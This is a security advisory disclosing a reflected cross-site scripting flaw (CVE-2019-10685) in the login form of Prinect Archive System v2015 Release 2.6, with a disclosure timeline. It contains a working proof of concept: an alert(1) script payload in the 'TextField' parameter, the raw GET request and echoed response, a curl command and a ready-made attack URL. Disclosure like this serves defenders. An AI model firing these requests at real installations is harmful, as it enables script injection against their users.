Prinect Archive System 2015 Release 2.6 - Cross-Site Scripting

Details
================
Software: Prinect Archive System 
Version: v2015 Release 2.6 
Homepage: https://www.heidelberg.com
Advisory report: https://github.com/alt3kx/CVE-2019-10685
CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10685
CVSS: 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE-79

Description
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A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Print Archive System v2015 release 2.6

Vulnerability
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The user supplied input containing JavaScript is echoed back in JavaScript code in an HTML response via the "TextField" parameter.

Proof of concept
================

Reflected XSS
Payload: %3cscript%3ealert(1)%3c%2fscript%3e

The offending GET request is: 

GET /am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&submitmode=&submitname=&TextField=%3cscript%3ealert(1)%3c%2fscript%3e&TextField_0=l0V%21i1s%21C2 HTTP/1.1
Host: victim_IP:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Connection: close
Cookie: JSESSIONID=C665EA9A7594E736D39C93EA8763A01F

Reflected XSS Reponse: 

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Mon, 04 Feb 2019 13:15:12 GMT
Connection: close

[../snip]

id="msgContainer">Authentication failed for: <script>alert(1)</script> <br/>Click Help button for more information about login permissions.</div>

# curl -i -s -k -X GET

-H "Host: victim:8090" 
-H "Accept-Encoding: gzip, deflate" 
-H "Accept: */*" 
-H "Accept-Language: en-US,en-GB;q=0.9,en;q=0.8" 
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 
-H "Connection: close" 
-H "Cookie: JSESSIONID=C665EA9A7594E736D39C93EA8763A01F" 
-b "JSESSIONID=C665EA9A7594E736D39C93EA8763A01F" 
"http://victim:8090/am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&submitmode=&submitname=&TextField=%3cscript%3ealert(1)%3c%2fscript%3e&TextField_0=l0V%21i1s%21C2" 
--proxy http://127.0.0.1:8080

Final payload into URL:
 
http://victim_IP:8090/am/Login,loginForm.sdirect?formids=TextField%2cTextField_0%2clink&submitmode=&submitname=&TextField=%3cscript%3ealert(1)%3c%2fscript%3e&TextField_0=l0V%21i1s%21C2

Mitigations
================
No more feedback from the vendor:
https://www.heidelberg.com

Disclosure policy
================
We believes in responsible disclosure.
Please contact us on Alex Hernandez aka alt3kx (at) protonmail com to acknowledge this report. 

This vulnerability will be published if we do not receive a response to this report with 10 days.

Timeline
================

2019-02-04: Discovered
2019-02-25: Retest PRO environment
2019-03-25: Retest on researcher's ecosystem
2019-04-02: Vendor notification
2019-04-03: Vendor feedback received
2019-04-08: Reminder sent
2019-04-08: 2nd reminder sent 
2019-04-11: Internal communication
2019-04-26: No more feedback received from the vendor
2019-05-30: New issues found
2019-06-30: Public Disclosure

Discovered by:
Alex Hernandez aka alt3kx:
================
Please visit https://github.com/alt3kx for more information.

My current exploit list @exploit-db: 
https://www.exploit-db.com/author/?a=1074 & https://www.exploit-db.com/author/?a=9576